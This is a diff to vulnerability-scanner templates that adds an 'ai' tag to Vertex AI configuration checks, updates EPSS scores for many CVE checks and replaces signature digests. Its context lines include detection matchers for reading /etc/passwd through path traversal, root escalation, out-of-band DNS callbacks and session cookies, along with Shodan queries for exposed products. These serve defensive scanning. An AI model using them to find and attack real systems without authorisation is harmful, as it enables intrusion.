@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without automatic upgrades enabled"'
-# digest: 4a0a0047304502204c9dcab870b9d74ffc92b4d124ae2c552cd7adc3c063df1c893eee8f1da63578022100d799039657b5ec98b9345069d8f38f00b0516c96be22e7a24057c45d767ac9e7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022020ecc91c5e20e5b7a7e8c81a75e6f0841c2a8e6f6e10db7cd8c37cc485b65da8022100893a110acd719ebeb5da50f7aa6a9898afdc77259277fe618ce3312d34e5a494:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/default-vpc-in-use.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/create-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances using the default VPC network"'
-# digest: 4b0a004830460221009b5d1f2fcfc890c2f05563c6eb9622a256919795802a514c6182274d02a81818022100ebf9b5415abdc9b7966505657741b3d7e08b849035c0849d16be0aa5dcb8d7ed:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a628bcce3d1a7dcc53a56f40f8f4865f54dd43d343da23897a0ece18ebf75961022100a96b22e32f581a4f14a406d6f58ded7288f7cfdd39d3152d635786ac71f02c42:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/prevent-external-ip-usage.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with external IP addresses enabled"'
-# digest: 4a0a0047304502206b8cab9d698ed9f4177859d3256fe52c1eb954938c92c81e7b4af186c551ec20022100f088f4ac582da61bdfd232ed2e0ce6a428113cd5a1e690284b8783342f6895c3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eb58356e30e582e79db9e34c751398f257540bfa4716c2d1de37c82d242de38a0220320024c473e1bd4db36c9f640950a0a006aa63e5be2f444fbbd2254081cb3f05:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-idle-shutdown.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without idle shutdown enabled"'
-# digest: 4b0a004830460221009b5693adc0278a31a62b47630197300145b36b00d470c8893ef5d2f19430607e0221008385cf51bd01f9652405b3344f8326549d4abcc49d876d73eb136a14818582d0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220374d01f50a9d157a2d5fec68762d8051b89f6b1ed0376e88635e1511d68abe8a022100b34c712dc5baed678090996d90a412ddb40c480cec972fbef83ba807c150fc36:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-integrity-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -55,4 +55,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without integrity monitoring enabled"'
-# digest: 4a0a00473045022100b215d362db9c0383615363d071e45a71b376694eb6a974ce4cbd5db9dec5691502200bc26776e97130ee6e43a1b6763258c4c8d24cc0095b319854af3f8812045dfa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207db528887b8c3b4196abeece97c77bddd0a59322c0dca821358c99a93786708702210098618a9638dae1ff81fbe505882a575b4daa34ea2b3df20ce8f8662d92f5f8db:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-cloud-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Cloud Monitoring enabled"'
-# digest: 4a0a00473045022100c7bc99ba5cc3d543c53777ced4301fa9ece255d153202432c143fedcfab4955602206bc1d563f849b0db4fdcec3fc5d0fbf18372948eefe863ebdd7828364902ebe5:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022046f0077349a98b3ff497d7d15ef487bb2814b921756ae2a564472817715425dc02204748a68363446c30b79aa3b2089a97a8c6314cb1ce1d2e7153659ffee5e3a2f5:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/disable-root-access.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with root access enabled"'
-# digest: 4a0a0047304502203fafa09fd627295440cda0833154e362ad16f53551c11446c640eef34c1cd7e8022100a848ce9d7e2f458fe5454494e88df994cefe9ed2657c893fd8d7ac46091c6783:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f207075f7fb72babf0c77967aa1a0aecaecb83b2432bf71477b57a0c810f30a4022100f861b48c21882fec2e8b153fc922515644690029a3cfcc6200cb6b3bc34658bc:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-secure-boot.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Secure Boot enabled"'
-# digest: 4b0a0048304602210082e89eb94bc0d7ab464530e9adc73c736fa580813fb37e4c135b491da8598f13022100e361b6ec75ffff463f72c5ab9af82594fa3bac07639c3147ede1fa6c2374cb6c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207866f5d4ad7aba081232ed70b2ca4e104f7d781d1320b152cad1ada406601b4e022100dfebaafce7a40c3fa12304f63b34dd7d758108f65204e752139ec65d6dfd8bb0:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-vtpm.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Virtual Trusted Platform Module (vTPM) enabled"'
-# digest: 4b0a004830460221008daab33ee8514bd0a358a39a0c7d5230d9f00695fc2dafcea6cb20b78efe6c1a022100f29c8980ff8d878cdca0220035201e74e8670496e896f4e8c4b6a1f41675ae13:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200a062fbf1e24e81fed35d1e0da64536f63b695ad66c7c4ed40d8dbe2d5c6350702210085620cf4d8a4001277295a946d3c7fdbfe48d5c4211da71d13494be91f5b323f:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
  metadata:
    verified: true
  classification:
-    epss-score: 0.94464
-    epss-percentile: 0.99994
+    epss-score: 0.99999
+    epss-percentile: 0.99997
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -142,4 +142,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022004ea1c83d53ecf141c1c1fedfe3541569e9fff121d865028a009241ba7099771022100edad7e601ce228ec78a61f9862356d799ef5baa4c7cfc7d9c461b2f96f001bfc:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.93668
-    epss-percentile: 0.99835
+    epss-score: 0.90338
+    epss-percentile: 0.99785
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.94508
-    epss-percentile: 1
+    epss-score: 0.99686
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -108,4 +108,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 490a00463044022065ba47069c9c8be3b8b20baaf07cc1e5bd514548908b83d01cc1ed3f1949960d022016d51765b84d48fd3df32d1a4484ef6b46775a4012de24f85c653381d9ff9fba:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.94415
-    epss-percentile: 0.99979
+    epss-score: 0.99913
+    epss-percentile: 0.99966
  metadata:
    verified: true
    vendor: microsoft
@@ -156,4 +156,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 490a0046304402202ece33e37275bfaa73de7c2ff7cf9758a6168d782e7653e48fd2fbd939590a4902207e431357fcf700eade86f37461dbfbefdab647273a9b871babce7d596a67f213:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.85814
-    epss-percentile: 0.9936
+    epss-score: 0.63917
+    epss-percentile: 0.99123
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -51,4 +51,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 490a0046304402200322575767b365765ff66cea70d44151d2b21754de5d6357c12709e765987f180220484ebcc37b7016ac53cebcb899dff0fe2e787e21b80dbb3c28417ab1364cf7b5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.93865
-    epss-percentile: 0.99863
+    epss-score: 0.99193
+    epss-percentile: 0.99929
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -106,4 +106,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4b0a00483046022100a750b340c8d6224c52b47c3a8951fce0067236252cf5e0a5819c3e71521a9b2c022100e492ddfa0ea59fb1b2a8cb7e526ccdc66ba2684ca86bc4296906541d9b230569:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.92155
-    epss-percentile: 0.99699
+    epss-score: 0.87553
+    epss-percentile: 0.99736
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.92309
-    epss-percentile: 0.99712
+    epss-score: 0.99295
+    epss-percentile: 0.99933
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -44,4 +44,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4b0a00483046022100e1865939dd03869373b11e31fdf6cb0c241e29ba68eea1cc6e5c6a1834a94322022100f41c7cd440989801fdbfb073d7645b3ef08afa0c871c8a21c26baf918efb13d0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
@@ -24,8 +24,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
-    epss-score: 0.93984
-    epss-percentile: 0.99885
+    epss-score: 0.99474
+    epss-percentile: 0.99938
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -287,4 +287,4 @@ code:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 490a0046304402204115fbf2dab0b71e2c0d61d7393e817376e9a69460742231f93a839aef6e097002207bf4d361bbfbeb531586262b3414ce582a2c996ea672b3d8f9b33af5e042a010:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.91742
-    epss-percentile: 0.99671
+    epss-score: 0.15783
+    epss-percentile: 0.96475
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 490a00463044022010b122b63f11d8b67369d3e9e927fb0bc37ac4b84088f94394b593c53c70a4da022043b5452a9cd724bd4b866209dca2facd0e564f6930985f7892b0a994331edaf0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.91716
-    epss-percentile: 0.9967
+    epss-score: 0.41077
+    epss-percentile: 0.98492
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -630,4 +630,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a004730450220799a7dd26843e703978b0bdab5f79b72e7db18142fe0bdee8d31b4c2a665a92b022100b5218d343a7799b65a617e8e2087d38e110cb35282c6e4d77359acded5184a4a:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.89605
-    epss-percentile: 0.99544
+    epss-score: 0.11074
+    epss-percentile: 0.95394
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -94,4 +94,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4a0a0047304502206d1daadb1177dbcdbb22f346972d153e3438603ee36a489324f0cc40cdfe7a0c022100a5e5b83be620ffb5798b514f391bc1f10c2d25ecc9ec6bafccd04eed43a5aba1:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.63615
-    epss-percentile: 0.9837
+    epss-score: 0.81422
+    epss-percentile: 0.99594
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022100b4bcdbe04df598d9f32f658bd5fdfc5aedcf8550491ac764c8e8db61ab2f829502200936e3a719e30060b4d0d50f69e91eccad2e37ea0cc1b1d07163cb59a713184b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.24316
-    epss-percentile: 0.95957
+    epss-score: 0.04794
+    epss-percentile: 0.9087
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502204ed6b1e371f6085fa47ca61ff4144f87277bf5365175838e361a13c2e169073f022100fb3560f703c305f25920da3949f0763c09df58d41cfb4f0055ae8df8954f33ba:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.70846
-    epss-percentile: 0.98659
+    epss-score: 0.2838
+    epss-percentile: 0.97889
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -58,4 +58,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a00473045022100accff04697b11bbbd502da92331314a0a7a31138fccdde20a7588c2abf076e1b02204149b56e5d3bde9a09f79de919eb8cecbf23744ce46e48f6955ca3bba09c000f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.93778
-    epss-percentile: 0.99848
+    epss-score: 0.87991
+    epss-percentile: 0.99746
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 490a0046304402206f119e5f63fbd848eeccda56fd0443fb2fb74c4244ed27ed0da1bdc8db00647102204f39a06f026bca537f52bda018f3eb731ac3c0558105b78623100c0ebe2abc8a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.93183
-    epss-percentile: 0.99787
+    epss-score: 0.76618
+    epss-percentile: 0.99487
  metadata:
    max-request: 1
    vendor: zabbix
@@ -73,4 +73,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a004730450220088c636a7c0a8f10d838ce3d50e376d9c65882945d670f1c4a900c21b6121b12022100dd04cce388db7ec3370f08638e390e7d277979268e0508b30dcf2bc0b18dbf70:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.85192
-    epss-percentile: 0.99331
+    epss-score: 0.85974
+    epss-percentile: 0.99702
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -63,4 +63,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100c1d98387703ee9a5c9ed070b42a4712b9065d4aeda380d088a28391edf30b586022064d6647d2bf80f4ba210e47712f2c598eec209403d2b25a84613f3adc06c7fc9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.17039
-    epss-percentile: 0.94818
+    epss-score: 0.0321
+    epss-percentile: 0.86643
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a0046304402201c24e4cf55751a49ed4791aca4b381dc22b157e8a4c510ae25cd97b84a369ea6022075d9149951f433f3c3ae20ccc7561133bd58615627e61df3db78ef2663e53d0a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.40655
-    epss-percentile: 0.97263
+    epss-score: 0.10684
+    epss-percentile: 0.95276
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a00473045022100ce9d5d60e318daf909747410c0d1167a0a05a0708ee7f2c3f5be911569ea0e0102200e40fd00c42301b184b3af1d3ee470927ccc7e91c8351bdd309b14aa1c48f7cb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
@@ -19,9 +19,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.93846
-    epss-percentile: 0.9986
-    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
+    epss-score: 0.94761
+    epss-percentile: 0.99848
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

 variables:
@@ -147,4 +147,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4b0a00483046022100fa4ce9da1b4ccb12e0e890b8b0fc9fbdc2cc13a5ed044261bc32d78efd88564802210090ed33e2f0cd9050f971d8e7ca704cce95129c1f514649610e5ff8eb000efeb4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.79379
-    epss-percentile: 0.99045
+    epss-score: 0.4356
+    epss-percentile: 0.98582
  metadata:
    verified: true
    max-request: 2
@@ -195,4 +195,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a004630440220020e365061995bfaeb22e45bfa55fa739b9e6510a3e6acf553d2c5dac6593aee022002631ae6d075a0382cd6936206a2d2b68528626a2b467e351abf7faf3bf85fe8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
-    epss-score: 0.53224
-    epss-percentile: 0.97898
+    epss-score: 0.01793
+    epss-percentile: 0.75773
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a0047304502200cad5ed1e0e5f165064dc8be4be26f6b7750e5e3a6e91cca00953ad4ef9987e6022100a9d31d25ef7aefa59f17c680dea2700f2ff1e775b7c44f8f8260ba8cc12c258e:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.55491
-    epss-percentile: 0.98006
+    epss-score: 0.22443
+    epss-percentile: 0.97411
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4b0a0048304602210093bd0d5322fec635b7fa4cf9c9fad9d1f020b75302c782707d04547f8ab15d1c022100c31069615b6ca382fd7b6789aa0202ebadeec7b3802b00bd40cfc85fa5fefd22:922c64590222798bb761d5b6d8e72950
